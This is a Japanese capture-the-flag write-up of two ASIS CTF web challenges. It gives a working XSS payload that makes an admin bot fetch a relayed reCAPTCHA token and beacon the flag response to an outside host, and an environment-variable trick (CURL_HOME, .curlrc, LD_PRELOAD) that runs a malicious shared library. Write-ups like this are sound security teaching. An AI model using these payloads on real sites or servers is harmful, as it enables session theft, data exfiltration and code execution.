12/25に開催された。zer0ptsで参加して2位。
[Web 314] Webcome! (24 solves)
reCAPTCHAのチェックボックスにチェックを入れてSubmitを押すとフラグをもらえる便利なWebアプリケーション。ただし、"secret cookie" を持っていないとダメ。
/report
からはadminにバグの報告ができ、URLを送信するとGoogle Chromeでアクセスしてくれる。以下のコードを見るとわかるように、このadminは先程言っていた "secret cookie" を持っている。このWebアプリケーション上でなんとかしてadminに先程のフォームの送信をさせ、そのレスポンスを手に入れなければならない。
app.post("/report",async (req,res)=>{ res.setHeader("Content-Type","text/plain") if(typeof req.body.url != "string" || !/^https?:\/\//.test(req.body.url)) return res.send("Bad url!") if(reportIpsList.has(req.ip) && reportIpsList.get(req.ip)+30 > now()){ return res.send(`Please comeback ${reportIpsList.get(req.ip)+30-now()}s later!`) } reportIpsList.set(req.ip,now()) const browser = await puppeteer.launch({ pipe: true,executablePath: '/usr/bin/google-chrome' }) const page = await browser.newPage() await page.setCookie({ name: 'secret_token', value: secretToken, domain: challDomain, httpOnly: true, secret: false, sameSite: 'Lax' }) res.send("Bot is visiting your URL") try{ await page.goto(req.body.url,{ timeout: 2000 }) await new Promise(resolve => setTimeout(resolve, 5e3)); } catch(e){} await page.close() await browser.close() })
XSS
/
では以下のような処理がされている。script
タグ内の $MSG$
を msg
というGETパラメータの値に置き換えて返しており、'
や /script
の前にバックスラッシュを付け加えることでXSSを防ごうとしている。が、単体のバックスラッシュはエスケープされていないため、例えば \'
のような文字列は \\'
に置換されてしまい、せっかくのエスケープが無駄になってしまう。
app.get('/',(req,res)=>{ var msg = req.query.msg if(!msg) msg = `Yo you want the flag? solve the captcha and click submit.\\nbtw you can't have the flag if you don't have the secret cookie!` msg = msg.toString().toLowerCase().replace(/\'/g,'\\\'').replace('/script','\\/script') res.send(indexHtml.replace('$MSG$',msg)) })
… <script> msg.innerText = '$MSG$'; </script> …
これを使って、/?msg=\';alert(123);//
にアクセスすると以下のようなHTMLが出力されてXSSに持ち込むことができた。
<script> msg.innerText = '\\';alert(123);//'; </script>
reCAPTCHAのバイパス
あとはadminに /flag
へPOSTさせるだけかと思いきや、前述のように /flag
はreCAPTCHAで保護されているために、なんとかしてバイパスさせなければならない。当然ながらadminは「私はロボットではありません」をクリックしてくれないし。
ではどうするかというと、事前に自分の手で「私はロボットではありません」をクリックし、取得したトークンをadminに使わせればよい。まずトークンを記録する log.php
というPHPスクリプトを書いて自分のWebサーバに置いておく。これで、「私はロボットではありません」をクリックした状態で navigator.sendBeacon('http://example.com/log.php', grecaptcha.getResponse())
のようなコードをDevToolsで実行するとトークンが token.txt
に保存される。
<?php $body = file_get_contents('php://input'); file_put_contents('token.txt', $body);
問題のWebアプリケーション上からトークンを取得できるように、以下のような token.php
も用意して設置しておく。
<?php header('Access-Control-Allow-Origin: *'); echo trim(file_get_contents('token.txt'));
これで準備が整ったので、例のXSSを使って以下のコードをadminに実行させればフラグが得られるはず。
(async () => { const token = await (await fetch('http://example.com/token.php')).text(); const body = `g-recaptcha-response=${token}`; const resp = await (await fetch('/flag', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body })).text(); navigator.sendBeacon('https://webhook.site/…', resp); })();
/
には msg
に含まれる大文字を toLowerCase
によって小文字に変換するという地味な嫌がらせが仕込まれているので、大文字を \x41
のようにエスケープすることで回避する。その変換をやってくれるスクリプトを書いておく。
import base64 import re s = b'''(async () => { const token = await (await fetch('http://example.com/token.php')).text(); const body = `g-recaptcha-response=${token}`; const resp = await (await fetch('/flag', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body })).text(); navigator.sendBeacon('https://webhook.site/…', resp); })();''' s = base64.b64encode(s).decode() s = re.sub(r'[A-Z+=]', lambda m: '\\x{:02x}'.format(ord(m.group(0))), s) print('http://65.21.255.24:5000/?msg=\\\';eval(atob("{}"))//'.format(s))
reCAPTCHAのトークンを更新した上で、このスクリプトを実行して出力されたURLを報告するとadminがフラグを投げてくれた。
ASIS{welcomeeeeee-to-asisctf-and-merry-christmas}
[Web 406] cuuurl (17 solves)
URLを与えると curl
でアクセスし、IPアドレスごとに用意されたディレクトリにそのレスポンスを保存して表示してくれる便利なサービス。env
というGETパラメータから curl
に与える環境変数を操作できたり、file
というGETパラメータからレスポンスの保存先のファイル名を変更できたり、便利な機能が搭載されている。
#!/usr/bin/env python3 from flask import Flask,Response,request,redirect import secrets import re import subprocess import pty import os import hashlib app = Flask(__name__) app.config['MAX_CONTENT_LENGTH'] = 0x100 @app.route('/') def index(): #Poor coding skills :( can't even get process output properly url = request.args.get('url') or "http://localhost:8000/sayhi" env = request.args.get('env') or None outputFilename = request.args.get('file') or "myregrets.txt" outputFolder = f"./outputs/{hashlib.md5(request.remote_addr.encode()).hexdigest()}" result = "" if(env): env = env.split("=") env = {env[0]:env[1]} else: env = {} master, slave = pty.openpty() os.set_blocking(master,False) try: subprocess.run(["/usr/bin/curl","--url",url],stdin=slave,stdout=slave,env=env,timeout=3,) result = os.read(master,0x4000) except: os.close(slave) os.close(master) return '??',200,{'content-type':'text/plain;charset=utf-8'} os.close(slave) os.close(master) if(not os.path.exists(outputFolder)): os.mkdir(outputFolder) if("/" in outputFilename): outputFilename = secrets.token_urlsafe(0x10) with open(f"{outputFolder}/{outputFilename}","wb") as f: f.write(result) return redirect(f"/view?file={outputFilename}", code=302) @app.route('/view') def view(): outputFolder = f"./outputs/{hashlib.md5(request.remote_addr.encode()).hexdigest()}" outputFilename = request.args.get('file') if(not outputFilename or "/" in outputFilename or not os.path.exists(f'{outputFolder}/{outputFilename}')): return '???',404,{'content-type':'text/plain;charset=utf-8'} with open(f'{outputFolder}/{outputFilename}','rb') as f: return f.read(),200,{'content-type':'text/plain;charset=utf-8'} @app.route('/sayhi') def sayhi(): return 'hi hacker ヾ(^-^)ノ',200,{'content-type':'text/plain;charset=utf-8'} app.run(host='0.0.0.0', port=8000)
環境変数の操作といえば LD_PRELOAD
によって共有ライブラリを読み込ませるテクニックだが、適当にコンパイルした a.so
のようなファイルをダウンロードさせようとしても ??
と返ってきてしまう。以下のtry-exceptの部分でどのようなエラーが発生しているか確認したところ、[Errno 11] Resource temporarily unavailable
というエラーが起こっていることがわかった。
try: subprocess.run(["/usr/bin/curl","--url",url],stdin=slave,stdout=slave,env=env,timeout=3,) result = os.read(master,0x4000) except: os.close(slave) os.close(master) return '??',200,{'content-type':'text/plain;charset=utf-8'}
これはバイナリファイルをダウンロードさせようとしているからっぽい。
$ curl http://example.com/a.so Warning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning: <FILE>" to save to a file.
ほかの環境変数でなんとかできないか調べていたところ、CURL_HOME
が見つかった。これにディレクトリのパスを入れてやることで、そのディレクトリに .curlrc
という設定ファイルがあれば読み込んでくれるようになるらしい。なるほど。
なんとかして共有ライブラリを適当なパスにダウンロードできるのではないかというアイデアがx0r19x91さんから出たので色々試していると、.curlrc
に以下のような内容を書き込むことで --output /app/outputs/(IPアドレスのMD5ハッシュ)/evil.so
というコマンドラインオプションを付与した場合と同じことをしてくれることがわかった。使えそう。
output = /app/outputs/(IPアドレスのMD5ハッシュ)/evil.so
ということで、まず /?url=http://example.com/.curlrc&file=.curlrc
で上にあるような .curlrc
を用意されたディレクトリに保存する。続いて、/?url=http://example.com/evil.so&env=CURL_HOME=/app/outputs/(IPアドレスのMD5ハッシュ)/
で共有ライブラリを同様に用意されたディレクトリに保存する。この evil.so
は以下のコードをコンパイルしたもので、読み込むと /readflag
の実行結果を output.txt
に保存する。
// gcc -shared -fPIC evil.c -o evil.so #define _GNU_SOURCE #include <stdlib.h> #include <unistd.h> #include <sys/types.h> __attribute__ ((__constructor__)) void neko(void) { unsetenv("LD_PRELOAD"); system("/readflag > /app/outputs/(IPアドレスのMD5ハッシュ)/output.txt"); }
/?url=http://example.com/&env=LD_PRELOAD=/app/outputs/(IPアドレスのMD5ハッシュ)/evil.so
で発火させて /view?file=output.txt
からその実行結果を見るとフラグが得られた。
ASIS{is-this-a-web-chall-or-misc...hmmmmmm...idk}